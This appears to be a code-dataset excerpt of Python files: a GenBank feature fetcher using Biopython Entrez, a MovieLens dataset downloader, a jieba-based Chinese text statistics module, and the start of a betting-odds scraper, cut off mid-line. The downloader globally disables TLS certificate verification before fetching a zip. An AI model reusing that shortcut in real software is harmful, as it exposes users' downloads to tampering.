{"api_name": "blazar.db.api.device_allocation_update", "line_number": 416, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 416, "usage_type": "name"}, {"api_name": "blazar.status.reservation", "line_number": 420, "usage_type": "attribute"}, {"api_name": "blazar.status", "line_number": 420, "usage_type": "name"}, {"api_name": "blazar.db.api.device_get", "line_number": 421, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 421, "usage_type": "name"}, {"api_name": "blazar.db.api.device_list", "line_number": 428, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 428, "usage_type": "name"}, {"api_name": "datetime.datetime.utcnow", "line_number": 465, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 465, "usage_type": "attribute"}, {"api_name": "datetime.date", "line_number": 466, "usage_type": "attribute"}, {"api_name": "blazar.db.utils.get_reservation_allocations_by_device_ids", "line_number": 468, "usage_type": "call"}, {"api_name": "blazar.db.utils", "line_number": 468, "usage_type": "name"}, {"api_name": "blazar.manager.exceptions.NotEnoughHostsAvailable", "line_number": 503, "usage_type": "call"}, {"api_name": "blazar.manager.exceptions", "line_number": 503, "usage_type": "name"}, {"api_name": "blazar.manager.exceptions.MissingParameter", "line_number": 510, "usage_type": "call"}, {"api_name": "blazar.manager.exceptions", "line_number": 510, "usage_type": "name"}, {"api_name": "oslo_utils.strutils.is_int_like", "line_number": 511, "usage_type": "call"}, {"api_name": "oslo_utils.strutils", "line_number": 511, "usage_type": "name"}, {"api_name": "blazar.manager.exceptions.MalformedParameter", "line_number": 514, "usage_type": "call"}, {"api_name": "blazar.manager.exceptions", "line_number": 514, "usage_type": "name"}, {"api_name": "blazar.manager.exceptions.MalformedParameter", "line_number": 521, "usage_type": "call"}, {"api_name": "blazar.manager.exceptions", "line_number": 521, "usage_type": "name"}, {"api_name": "blazar.manager.exceptions.InvalidRange", "line_number": 524, "usage_type": "call"}, {"api_name": "blazar.manager.exceptions", "line_number": 524, "usage_type": "name"}, {"api_name": "blazar.manager.exceptions.MissingParameter", "line_number": 532, "usage_type": "call"}, {"api_name": "blazar.manager.exceptions", "line_number": 532, "usage_type": "name"}, {"api_name": "blazar.manager.exceptions.MalformedParameter", "line_number": 537, "usage_type": "call"}, {"api_name": "blazar.manager.exceptions", "line_number": 537, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 551, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 553, "usage_type": "call"}, {"api_name": "blazar.utils.plugins.convert_requirements", "line_number": 557, "usage_type": "call"}, {"api_name": "blazar.utils.plugins", "line_number": 557, "usage_type": "name"}, {"api_name": "blazar.db.api.reservable_device_get_all_by_queries", "line_number": 559, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 559, "usage_type": "name"}, {"api_name": "blazar.db.api.device_allocation_get_all_by_values", "line_number": 564, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 564, "usage_type": "name"}, {"api_name": "blazar.db.utils.get_free_periods", "line_number": 567, "usage_type": "call"}, {"api_name": "blazar.db.utils", "line_number": 567, "usage_type": "name"}, {"api_name": "random.shuffle", "line_number": 578, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 582, "usage_type": "call"}, {"api_name": "blazar.db.api.device_allocation_get_all_by_values", "line_number": 598, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 598, "usage_type": "name"}, {"api_name": "blazar.status.reservation", "line_number": 606, "usage_type": "attribute"}, {"api_name": "blazar.status", "line_number": 606, "usage_type": "name"}, {"api_name": "blazar.manager.exceptions.NotEnoughHostsAvailable", "line_number": 607, "usage_type": "call"}, {"api_name": "blazar.manager.exceptions", "line_number": 607, "usage_type": "name"}, {"api_name": "blazar.db.api.device_allocation_create", "line_number": 621, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 621, "usage_type": "name"}, {"api_name": "blazar.db.api.device_get", "line_number": 624, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 624, "usage_type": "name"}, {"api_name": "blazar.status.reservation", "line_number": 625, "usage_type": "attribute"}, {"api_name": "blazar.status", "line_number": 625, "usage_type": "name"}, {"api_name": "blazar.manager.exceptions.NotEnoughHostsAvailable", "line_number": 631, "usage_type": "call"}, {"api_name": "blazar.manager.exceptions", "line_number": 631, "usage_type": "name"}, {"api_name": "blazar.db.api.device_allocation_destroy", "line_number": 634, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 634, "usage_type": "name"}, {"api_name": "blazar.db.utils.get_reserved_periods", "line_number": 650, "usage_type": "call"}, {"api_name": "blazar.db.utils", "line_number": 650, "usage_type": "name"}, {"api_name": "datetime.timedelta", "line_number": 654, "usage_type": "call"}, {"api_name": "blazar.utils.plugins.convert_requirements", "line_number": 680, "usage_type": "call"}, {"api_name": "blazar.utils.plugins", "line_number": 680, "usage_type": "name"}, {"api_name": "blazar.db.api.device_get_all_by_queries", "line_number": 682, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 682, "usage_type": "name"}, {"api_name": "blazar.db.api.device_list", "line_number": 684, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 684, "usage_type": "name"}, {"api_name": "blazar.plugins.monitor.GeneralMonitorPlugin", "line_number": 687, "usage_type": "attribute"}, {"api_name": "blazar.plugins.monitor", "line_number": 687, "usage_type": "name"}, {"api_name": "blazar.db.utils.get_reservations_by_device_ids", "line_number": 704, "usage_type": "call"}, {"api_name": "blazar.db.utils", "line_number": 704, "usage_type": "name"}, {"api_name": "blazar.db.api.unreservable_device_get_all_by_queries", "line_number": 709, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 709, "usage_type": "name"}, {"api_name": "blazar.db.api.device_update", "line_number": 728, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 728, "usage_type": "name"}, {"api_name": "blazar.db.api.device_get_all_by_filters", "line_number": 737, "usage_type": "call"}, {"api_name": "blazar.db.api", "line_number": 737, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 739, "usage_type": "call"}]} +{"seq_id": "566549998", "text": "# fetch_features.py version 1.0\n# Created by Ivan Munoz-Gutierrez\n# Date 2020-07-26\n#\n# Function:\n# This program needs the Biophyton and cs50 modules. If you don't have those\n# modules, please visit https://biopython.org/ and\n# https://github.com/cs50/python-cs50 for more information.\n#\n# The program fetches information from a list of Genebank accession numbers or\n# a list of BioSample numbers. The program enters the nuccore database and\n# collects all the features of the corresponding list of accession numbers.\n# When you enter a list of accession numbers you have two options. The first\n# option is to get the features of the provided accession list. The second one\n# is to get the features of all the accession numbers associated with an\n# specific BioSample number. In this second option, the program gets the\n# BioSample number of every accession number in the list, accesses the nuccore\n# database with the BioSample number and selects the most updated information\n# of every molecule (chromosome and/or plasmid(s)).\n#\n# You can create one list of accession numbers in Excel by saving the file as\n# txt. The list needs a header, if it doesn't have one the first accession\n# numbers is not going to be included.\n#\n# Usage: python fetch_features.py\n\n#############################################################################\n# Importing relevant modules #\n#############################################################################\nfrom Bio import Entrez\nfrom Bio import SeqIO\nfrom database import *\nimport csv\nimport sys\nimport cs50\n\n#############################################################################\n# Getting input from the user #\n#############################################################################\n# Checking the correct useage of the program\nif len(sys.argv) != 1:\n sys.exit(\"usage: python fetch_features.py\")\n\n# Getting type of input data.\nwhile True:\n type_list = cs50.get_string(\n \"Does your list have accession numbers or \"\n \"biosample numbers (accession or biosample)? \")\n type_list = type_list.lower()\n if type_list == 'accession' or type_list == 'biosample':\n break\n\n# Asking about getting data from all BioSample related acc numbers\nwhile True:\n get_biosample = cs50.get_string(\n \"If you have a list of accession numbers, do you want to get the \"\n \"most updated features of \\nall the related accession numbers that \"\n \"belong to the same BioSample (yes or no)? \")\n get_biosample = get_biosample.lower()\n if get_biosample == 'yes' or get_biosample == 'no':\n break\n\n# Gettin name of infile.txt\ninfile = cs50.get_string('Provide the name of your infile.txt: ')\n\n# IMPORTANT: always provide your email address to GenBank\nemail_address = cs50.get_string(\"Provide your email address to the NCBI: \")\nEntrez.email = email_address\n\n# Opening infile.txt\nwith open(infile, 'r') as reader:\n\n # Skip the header\n next(reader)\n\n # Creating a list of accession numbers\n list_accessions = reader.readlines()\n\n# Counting the number of results (number of sequences)\ncount = len(list_accessions)\nprint(f\"Number of requested sequences: {count}\")\n\n# Creating batches of acc numbers for the specified case in the if statement\nif type_list == 'accession' and get_biosample == 'no':\n # Number of sequences to be requested by batch.\n # A batch of 500 is the max that we can request.\n batch_size = 100\n\n # This is going to be a list of strings containg the batches of requested\n # accession numbers, i.e. every string in the list is going to have in this\n # case 500 accesion numbers separaded by comas.\n submission_list = []\n\n # Counter to access the list_accessions\n counter_accessions = 0\n\n # Loop to create the list of accession numbers by batches of 500\n for start in range(0, count, batch_size):\n end = min(count, start + batch_size)\n # This list is going to save temporarily the batch of accession numbers\n # that are goingo to be converted into a string separed by commas\n set_list = []\n for set in range(start, end):\n set_list.append(list_accessions[counter_accessions].\n replace('\\n', ''))\n counter_accessions += 1\n # Converting the list into string\n set_list = ','.join(set_list)\n submission_list.append(set_list)\n\n#############################################################################\n# Working with GenBank #\n#############################################################################\n# Number to keep track set of sequences (or batches) and the sequences,\n# it is important in case the connection to NCBI is interrupted so we can\n# know where to continue downloading\nset, seq_counter = 1, 1\n\n# Opening our results file to write the fetched data in csv format\nwith open(\"results.csv\", \"w\") as results:\n # Field names or headers in the csv table\n fields = [\"set_batch\", \"counter\", \"description\", \"accession\", \"size\",\n \"molecule\", \"mod_date\", \"topology\", \"mol_type\", \"organism\",\n \"strain\", \"isolation_source\", \"host\", \"plasmid\", \"country\",\n \"lat_lon\", \"collection_date\", \"note\", \"serovar\", \"collected_by\",\n \"genotype\", \"BioProject\", \"BioSample\", \"Assem_Method\",\n \"Gen_Coverage\", \"Seq_Technol\"]\n\n # Create DictWriter\n writer = csv.DictWriter(results, fields)\n\n # Writing headers\n writer.writeheader()\n\n ###########################################\n # Workig with a list of accession numbers #\n ###########################################\n if type_list == 'accession' and get_biosample == 'no':\n # Declaring end\n end = 0\n\n # Fetching the information from GenBank by batches\n for submission in range(len(submission_list)):\n start = end\n # submission_list is a list of accession numbers separated by\n # commas. Therefore, the number of commas indicate the number of\n # accession numbers.\n end = end + submission_list[submission].count(',') + 1\n\n # Printing download batch record\n print(\"Going to download record %i to %i\" % (start + 1, end))\n\n # Posting the submission_list.\n # Because we are requesting information from a huge list of acc\n # numbers, we have to use the \".epost\" function which uploads a\n # list of UIs (acc numbers) for use in subsequent searches.\n # From .epost we can get the QueryKey and the WebEnv which define\n # our history session and can be used to performe searches of data.\n posting = Entrez.epost('nuccore', id=submission_list[submission])\n search_results = Entrez.read(posting)\n\n # Copying cookie \"WebEnv\" and query \"QueryKey\" from our history\n # session to keep track of our batch fetching.\n # WevEnv -> Web environment string returned from a previous\n # ESearch, EPost or ELink call; QueryKey -> Integer query key\n # returned by a previous ESearch, EPost or ELink call\n webenv = search_results[\"WebEnv\"]\n query_key = search_results[\"QueryKey\"]\n\n # Getting the batch information\n # db -> database, nuccore -> nuleotide, rettype -> retrieval type\n # retmode -> determines the format of the return output\n # retstart -> sequential index of the first UID in the retrieved\n # set to be shown in the XML output\n # retmax -> total number of UIDs from the retrieved set to be shown\n # in the XML output\n # idtype-> specifies the type of identifier to return for sequence\n # databases, acc -> accesion number\n fetch_handle = Entrez.efetch(\n db=\"nuccore\",\n rettype=\"gb\",\n retmode=\"text\",\n retstart=0,\n retmax=batch_size,\n webenv=webenv,\n query_key=query_key,\n idtype=\"acc\"\n )\n\n # Parsing the data fetched from NCBI\n records = parser(fetch_handle, set, seq_counter)\n\n # Recording the number set and sequences downloded\n set += 1\n seq_counter = records[1]\n\n # Saving the retrived data in the csv file\n for i in range(len(records[0])):\n writer.writerow(records[0][i])\n\n # Closing fetch_handle\n fetch_handle.close()\n\n ###################################################################\n # Workig with a list of accession numbers and getting all related #\n # BioSample associated accession numbers and their features #\n ###################################################################\n elif type_list == 'accession' and get_biosample == 'yes':\n seq_counter = 1\n\n # Iterating over the list of accession numbers\n for query in range(len(list_accessions)):\n # Number to keep track set of sequences (or batches) and the\n # sequences, it is important in case the connection to NCBI is\n # interrupted so we can know where to continue downloading\n set = query + 1\n\n # Getting the BioSample number of the requested accession number.\n # BioSample() gets two arguments, a list of accession numbers and\n # the email address of the user\n biosample_number = BioSample_list(list_accessions[query],\n email_address)\n\n # Using \".esearch\" to find the information.\n # Also we have to implement \"usehistory\" to get the cookie and\n # query key.\n # db -> database to search, term -> Entrez text query\n search_handle = Entrez.esearch(db=\"nucleotide\",\n term=biosample_number,\n usehistory=\"y\")\n\n # Copying the information in computer memory\n search_results = Entrez.read(search_handle)\n\n # Closing the handle\n search_handle.close()\n\n # Counting the number of results (number of sequences)\n count = int(search_results[\"Count\"])\n print(f\"Number of requested sequences from BioSample: {count}\")\n\n # Copying cookie \"WebEnv\" and query \"QueryKey\" from history to keep\n # track of our batch fetching.\n # WevEnv -> Web environment string returned from a previous\n # ESearch, EPost or ELink call.\n # QueryKey -> Integer query key returned by a previous ESearch,\n # EPost or ELink call\n webenv = search_results[\"WebEnv\"]\n query_key = search_results[\"QueryKey\"]\n\n # Number of sequences to be requested by batch.\n # A batch of 500 is the max that we can request.\n batch_size = 500\n\n # I need to think about how to clean features of a BioSample number\n # that has more than 500 records\n # TODO\n\n # Fetching the information from GenBank by batches\n for start in range(0, count, batch_size):\n end = min(count, start + batch_size)\n\n # Printing download batch record\n print(f\"Going to download record {start + 1} to {end} \"\n f\"from set {query + 1}\")\n\n # Getting the batch information\n # db -> database, nuccore -> nuleotide, rettype -> retrieval\n # type, retmode -> determines the format of the return output\n # retstart -> sequential index of the first UID in the\n # retrieved set to be shown in the XML output, retmax -> total\n # number of UIDs from the retrieved set to be shown in the\n # XML output, idtype-> specifies the type of identifier to\n # return for sequence databases, acc -> accesion number\n fetch_handle = Entrez.efetch(\n db=\"nuccore\",\n rettype=\"gb\",\n retmode=\"text\",\n retstart=start,\n retmax=batch_size,\n webenv=webenv,\n query_key=query_key,\n idtype=\"acc\"\n )\n\n # Parsing the data fetched from NCBI\n records = parser(fetch_handle, set, seq_counter)\n\n # Recording the number of sequences downloded\n seq_counter = records[1]\n\n # Using dabase.py to clean data and obtain the most updated\n # information.\n # clean_features() returns a list of dictionaries\n uptaded_features = clean_features(records[0])\n\n # Saving the updated retrived data in the csv file\n for i in range(len(uptaded_features)):\n writer.writerow(uptaded_features[i])\n\n print(f\"Number of sequences saved after processing: \"\n f\"{len(uptaded_features)}\")\n\n # Closing handle\n fetch_handle.close()\n\n ############################################\n # Working with a list of BioSample numbers #\n ############################################\n else:\n lenght_acc_list = len(list_accessions)\n\n # Fetching the information from GenBank\n for submission in range(lenght_acc_list):\n\n # Printing download record\n print(f\"Going to download record {submission} \"\n f\"of {lenght_acc_list}\")\n\n # Searching for the BioSample accession number. We need usehistory\n # to get the QueryKey and the WebEnv which define our history\n # session and can be used to performe searches of data.\n search_handle = Entrez.esearch(db=\"nuccore\",\n term=list_accessions[submission],\n usehistory=\"y\")\n search_results = Entrez.read(search_handle)\n\n # Copying cookie \"WebEnv\" and query \"QueryKey\" from our history\n # session.\n # WevEnv -> Web environment string returned from a previous\n # ESearch, EPost or ELink call; QueryKey -> Integer query key\n # returned by a previous ESearch, EPost or ELink call\n webenv = search_results[\"WebEnv\"]\n query_key = search_results[\"QueryKey\"]\n\n # Getting information\n # db -> database, nuccore -> nuleotide, rettype -> retrieval type,\n # retmode -> determines the format of the return output,\n # retstart -> sequential index of the first UID in the retrieved\n # set to be shown in the XML output, retmax -> total number of\n # UIDs from the retrieved set to be shown in the XML output,\n # idtype-> specifies the type of identifier to return for sequence\n # databases, acc -> accesion number\n fetch_handle = Entrez.efetch(\n db=\"nuccore\",\n rettype=\"gb\",\n retmode=\"text\",\n retstart=0,\n retmax=1,\n webenv=webenv,\n query_key=query_key,\n idtype=\"acc\"\n )\n\n # Parsing the data fetched from NCBI\n records = parser(fetch_handle, submission + 1, submission + 1)\n\n # Saving the retrived data in the csv file\n for i in range(len(records[0])):\n writer.writerow(records[0][i])\n\n # Closing fetch_handle\n fetch_handle.close()\n\n# If everything was done OK print Done and exit the program\nprint(\"\"\"Done!\nYou should have a results.csv file in your folder\"\"\")\n\nsys.exit(0)\n", "sub_path": "fetch_features.py", "file_name": "fetch_features.py", "file_ext": "py", "file_size_in_byte": 15988, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "sys.argv", "line_number": 41, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 42, "usage_type": "call"}, {"api_name": "cs50.get_string", "line_number": 46, "usage_type": "call"}, {"api_name": "cs50.get_string", "line_number": 55, "usage_type": "call"}, {"api_name": "cs50.get_string", "line_number": 64, "usage_type": "call"}, {"api_name": "cs50.get_string", "line_number": 67, "usage_type": "call"}, {"api_name": "Bio.Entrez.email", "line_number": 68, "usage_type": "attribute"}, {"api_name": "Bio.Entrez", "line_number": 68, "usage_type": "name"}, {"api_name": "csv.DictWriter", "line_number": 130, "usage_type": "call"}, {"api_name": "Bio.Entrez.epost", "line_number": 159, "usage_type": "call"}, {"api_name": "Bio.Entrez", "line_number": 159, "usage_type": "name"}, {"api_name": "Bio.Entrez.read", "line_number": 160, "usage_type": "call"}, {"api_name": "Bio.Entrez", "line_number": 160, "usage_type": "name"}, {"api_name": "Bio.Entrez.efetch", "line_number": 179, "usage_type": "call"}, {"api_name": "Bio.Entrez", "line_number": 179, "usage_type": "name"}, {"api_name": "Bio.Entrez.esearch", "line_number": 228, "usage_type": "call"}, {"api_name": "Bio.Entrez", "line_number": 228, "usage_type": "name"}, {"api_name": "Bio.Entrez.read", "line_number": 233, "usage_type": "call"}, {"api_name": "Bio.Entrez", "line_number": 233, "usage_type": "name"}, {"api_name": "Bio.Entrez.efetch", "line_number": 275, "usage_type": "call"}, {"api_name": "Bio.Entrez", "line_number": 275, "usage_type": "name"}, {"api_name": "Bio.Entrez.esearch", "line_number": 323, "usage_type": "call"}, {"api_name": "Bio.Entrez", "line_number": 323, "usage_type": "name"}, {"api_name": "Bio.Entrez.read", "line_number": 326, "usage_type": "call"}, {"api_name": "Bio.Entrez", "line_number": 326, "usage_type": "name"}, {"api_name": "Bio.Entrez.efetch", "line_number": 344, "usage_type": "call"}, {"api_name": "Bio.Entrez", "line_number": 344, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 369, "usage_type": "call"}]} +{"seq_id": "6465440", "text": "import os\nimport ssl\nimport wget\nimport zipfile\n\nimport numpy as np\nimport pandas as pd\n\n\ndef download_and_prepare(name, path):\n if name == \"movielens-small\":\n print(f\"Preparing dataset {name}...\")\n # Check if data has been extracted and if not download extract it\n if (os.path.exists(os.path.join(path, \"ml-latest-small\"))):\n print(f\"Dataset {name} already extracted.\")\n else:\n print(f\"Downloading dataset {name}...\")\n ssl._create_default_https_context = ssl._create_unverified_context\n url = \"https://files.grouplens.org/datasets/movielens/ml-latest-small.zip\"\n wget.download(url, path)\n print(f\"Extracting dataset {name}...\")\n with zipfile.ZipFile(os.path.join(path, \"ml-latest-small.zip\"), 'r') as zip_ref:\n zip_ref.extractall(path)\n\n # Read dataset with pandas\n ratings = pd.read_csv(os.path.join(path, 'ml-latest-small', 'ratings.csv'))\n print(f\"{len(ratings)} entries read.\")\n r_matrix = ratings.pivot(index='userId', columns='movieId', values='rating').fillna(0)\n\n return np.array(r_matrix) # for performance reasons we only take every 2nd element along each axis\n\n else:\n raise ValueError\n\n", "sub_path": "Detection and Pattern Recognition/Ex_1_Introduction/datasets.py", "file_name": "datasets.py", "file_ext": "py", "file_size_in_byte": 1267, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "os.path.exists", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "ssl._create_default_https_context", "line_number": 18, "usage_type": "attribute"}, {"api_name": "ssl._create_unverified_context", "line_number": 18, "usage_type": "attribute"}, {"api_name": "wget.download", "line_number": 20, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 26, "usage_type": "call"}, {"api_name": "os.path", "line_number": 26, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 30, "usage_type": "call"}]} +{"seq_id": "619870833", "text": "\"\"\"\n This file is about the statistical analysis on the sentences.\n\n We basically specify that:\n '我们爱您' is a string;\n Both '我' and '们' are the units of the string '我们爱您'.\n At the same time, we specify that:\n '我' is a char;\n '我们' is a phrase;\n '我们爱您' is a sentence;\n '1' is a digit;\n 'a' is a letter;\n '！' is a punctuation.\n Besides,special_words mean the followings:\n Word/Flag:\n 助词/u\n 叹词/e\n 语气词/y\n 拟声词/o\n\n Here is the list of the functions:\n stc_len -- 句子长度\n stc_phrase_count -- 词频统计\n stc_char_count -- 字频统计\n stc_digit_count -- 阿拉伯数字（0-9）使用频率统计\n stc_letter_count -- 英文字母（含大小写）使用频率统计\n stc_punct_count1 -- 标点符号使用频率统计(利用jieba分词)\n stc_punct_count2 -- 标点符号使用频率统计（利用正则表达式）\n\"\"\"\n\nimport jieba\nimport jieba.posseg\nimport string\nimport re\nfrom collections import Counter\n\n# stc == sentence\ndef stc_len(sentence):\n return len(sentence)\n\ndef stc_phrase_count(sentence):\n phrase_list = jieba.lcut(sentence, cut_all = False)\n cnt = Counter(phrase_list)\n return dict(cnt)\n\ndef stc_char_count(sentence):\n unit_list = list(sentence)\n cnt = Counter(unit_list)\n return dict(cnt)\n\n# This counts the digit from 0 to 9,\n# and digit_num contains all the digit from 0 to 9, of which value may be 0.\ndef stc_digit_count(sentence):\n #initialize\n digit_num = dict(Counter(string.digits))\n for d in digit_num:\n digit_num[d] -= 1\n #process\n unit_list = list(sentence)\n for u in unit_list:\n if u in digit_num:\n digit_num[u] += 1\n return digit_num\n\n# This counts the letter from a to z, and A to Z,\n# and letter_num contains all the letter from a to z, and A to Z, of which value may be 0.\ndef stc_letter_count(sentence):\n #initialize\n letter_num = dict(Counter(string.ascii_letters))\n for l in letter_num:\n letter_num[l] -= 1\n #process\n unit_list = list(sentence)\n for u in unit_list:\n if u in letter_num:\n letter_num[u] += 1\n return letter_num\n\n# This counts the punctuation character in the local file common_zh_punct,\n# and punct_num contains all the punctuations mentioned above, of which value may be 0.\ndef stc_punct_count(sentence):\n #initialize\n f = open('common_zh_punct', 'r', encoding='UTF-8')\n punct_num = dict(Counter(f.readline().encode('utf-8').decode('utf-8-sig')))\n for p in punct_num:\n punct_num[p] -= 1\n #process\n unit_list = list(sentence)\n for u in unit_list:\n if u in punct_num:\n punct_num[u] += 1\n f.close()\n return punct_num\n\n# This counts the special words，\n# and special_words_num doesn't contain all the special words in the world.\ndef stc_special_words_count(sentence):\n words = jieba.posseg.lcut(sentence)\n special_words_num = {}\n for w in words:\n if w.flag[0] == 'u' or w.flag[0] == 'e' or w.flag[0] == 'y' or w.flag[0] == 'o':\n if w.word not in special_words_num:\n special_words_num[w.word] = 1\n else:\n special_words_num[w.word] += 1\n return special_words_num\n\n# This counts the popular phrases，\n# and pop_phrase_num does contain all the popular phrases we collected manully,\n# but not contain all the popular phrases in the world, using jieba.\ndef stc_pop_phrase_count1(sentence):\n # initialize\n f = open('common_pop_phrase', 'r', encoding='UTF-8')\n lines = f.readlines()\n pop_phrases = []\n for i in lines:\n pop_phrases.append((i.encode('utf-8').decode('utf-8-sig'))[:-1])\n pop_phrase_num = dict(Counter(pop_phrases))\n for p in pop_phrase_num:\n pop_phrase_num[p] -= 1\n # process\n phrase_list = jieba.lcut(sentence, cut_all=False)\n print(phrase_list)\n for p in phrase_list:\n if p in pop_phrase_num:\n pop_phrase_num[p] += 1\n f.close()\n return pop_phrase_num\n\n# This counts the popular phrases，\n# and pop_phrase_num does contain all the popular phrases we collected manully,\n# but not contain all the popular phrases in the world, using RE.\ndef stc_pop_phrase_count2(sentence):\n # initialize\n f = open('common_pop_phrase', 'r', encoding='UTF-8')\n lines = f.readlines()\n pop_phrases = []\n for i in lines:\n pop_phrases.append((i.encode('utf-8').decode('utf-8-sig'))[:-1])\n pop_phrase_num = dict(Counter(pop_phrases))\n for p in pop_phrase_num:\n pop_phrase_num[p] -= 1\n # process\n for p in pop_phrase_num:\n p0 = p\n pattern = re.compile(p0)\n pop_phrase_num[p] += len(pattern.findall(sentence))\n f.close()\n return pop_phrase_num\n\nif __name__ == '__main__':\n print(stc_len('你好，在吗？'))\n print(stc_phrase_count('我今天想吃一个苹果，然后看部film，不知道你是怎么想的呢？哈哈~'))\n print(stc_char_count('我今天想吃一个苹果，然后看部film，不知道你是怎么想的呢？哈哈~'))\n print(stc_digit_count('121221121221,321312434,42432'))\n print(stc_letter_count('dadadadkasjdkladjkwl'))\n print(stc_punct_count('，。、'))\n print(stc_special_words_count('今天的天气好差劲噢~'))\n print(stc_pop_phrase_count1('如果我有freestyle的话，惊不惊喜？')) #won't find \"惊不惊喜\"\n print(stc_pop_phrase_count2('如果我有freestyle的话，惊不惊喜？')) #will fild \"惊不惊喜\"\n\n", "sub_path": "statistical_analysis/statistical_analysis.py", "file_name": "statistical_analysis.py", "file_ext": "py", "file_size_in_byte": 5645, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "jieba.lcut", "line_number": 42, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 43, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 48, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 55, "usage_type": "call"}, {"api_name": "string.digits", "line_number": 55, "usage_type": "attribute"}, {"api_name": "collections.Counter", "line_number": 69, "usage_type": "call"}, {"api_name": "string.ascii_letters", "line_number": 69, "usage_type": "attribute"}, {"api_name": "collections.Counter", "line_number": 84, "usage_type": "call"}, {"api_name": "jieba.posseg.lcut", "line_number": 98, "usage_type": "call"}, {"api_name": "jieba.posseg", "line_number": 98, "usage_type": "attribute"}, {"api_name": "collections.Counter", "line_number": 118, "usage_type": "call"}, {"api_name": "jieba.lcut", "line_number": 122, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 140, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 146, "usage_type": "call"}]} +{"seq_id": "599217139", "text": "import datetime\n\nimport requests\nimport pytz\n\nfrom .fivethirtyeight_parser import NBA_TEAM_NAMES, MLB_TEAM_NAMES\n\n\nMYBOOKIE_URL = (\n \"https://mybookie.ag/wp-content/plugins/\"\n \"wp_plugin_sportsbook_guest/lines.php\"\n)\n\n\ndef parse_nba_game_data():\n \"\"\"\n Parse NBA game data from MyBookie website.\n \"\"\"\n # leagues specifies the id of the league to retrieve data from (nba=3)\n form_data = {\"leagues\": 3, \"bookID\": 35}\n json_data = requests.post(MYBOOKIE_URL, data=form_data).json()\n league_id = json_data[0][\"id_league\"]\n sport_id = json_data[0][\"id_sport\"]\n content = json_data[0][\"content\"]\n cleaned_data = []\n for item in content:\n # Not all items in content contain game data. Skip those that don't.\n game_id = item.get(\"id_game\")\n if game_id is None:\n print(\"No game id found. Skipping.\")\n continue\n else:\n print(\"Parsing game with id\", game_id)\n\n away_team_name = item[\"visitor_team\"]\n home_team_name = item[\"home_team\"]\n\n away_odds = item[\"lines\"][0][\"visitor_odds_t\"]\n home_odds = item[\"lines\"][0][\"home_odds_t\"]\n\n if away_odds == '':\n away_odds = 0\n\n if home_odds == '':\n home_odds = 0\n\n game_cleaned = dict(\n game_id=game_id,\n away_team_name = away_team_name,\n home_team_name = home_team_name,\n game_date=item[\"game_date\"],\n game_time=item[\"game_time\"],\n game_datetime=item[\"game_date_time\"][\"date\"],\n game_tz=item[\"game_date_time\"][\"timezone\"],\n away_odds=away_odds,\n home_odds=home_odds,\n over_total=item[\"lines\"][0][\"over_total\"],\n over_odds_total=item[\"lines\"][0][\"over_odds_total\"],\n under_total=item[\"lines\"][0][\"under_total\"],\n under_odds_total=item[\"lines\"][0][\"under_odds_total\"],\n away_spread=item[\"lines\"][0][\"visitor_spread_t\"],\n away_spread_odds=item[\"lines\"][0][\"visitor_spread_odds_t\"],\n home_spread=item[\"lines\"][0][\"home_spread_t\"],\n home_spread_odds=item[\"lines\"][0][\"home_spread_odds_t\"]\n )\n cleaned_data.append(game_cleaned)\n return cleaned_data\n\n\ndef parse_mlb_game_data():\n \"\"\"\n Parse MLB game data from MyBookie website.\n \"\"\"\n # leagues specifies the id of the league to retrieve data from (mlb=5)\n form_data = {\"leagues\": 5, \"bookID\": 35}\n json_data = requests.post(MYBOOKIE_URL, data=form_data).json()\n league_id = json_data[0][\"id_league\"]\n sport_id = json_data[0][\"id_sport\"]\n content = json_data[0][\"content\"]\n cleaned_data = []\n for item in content:\n game_id = item.get(\"id_game\")\n if game_id is None:\n print(\"No game id found. Skipping.\")\n continue\n else:\n print(\"Parsing game with id\", game_id)\n\n away_team_code, *away_name = item[\"visitor_team\"].split(\" \")\n home_team_code, *home_name = item[\"home_team\"].split(\" \")\n\n # TODO: Make this not dumb\n if away_team_code == \"SFO\":\n away_team_code = \"SF\"\n\n if home_team_code == \"SFO\":\n home_team_code = \"SF\"\n\n if away_team_code == \"NY\":\n away_team_code = \"NYM\"\n\n if home_team_code == \"NY\":\n home_team_code = \"NYM\"\n\n if away_team_code == \"WAS\":\n away_team_code = \"WSH\"\n\n if home_team_code == \"WAS\":\n home_team_code = 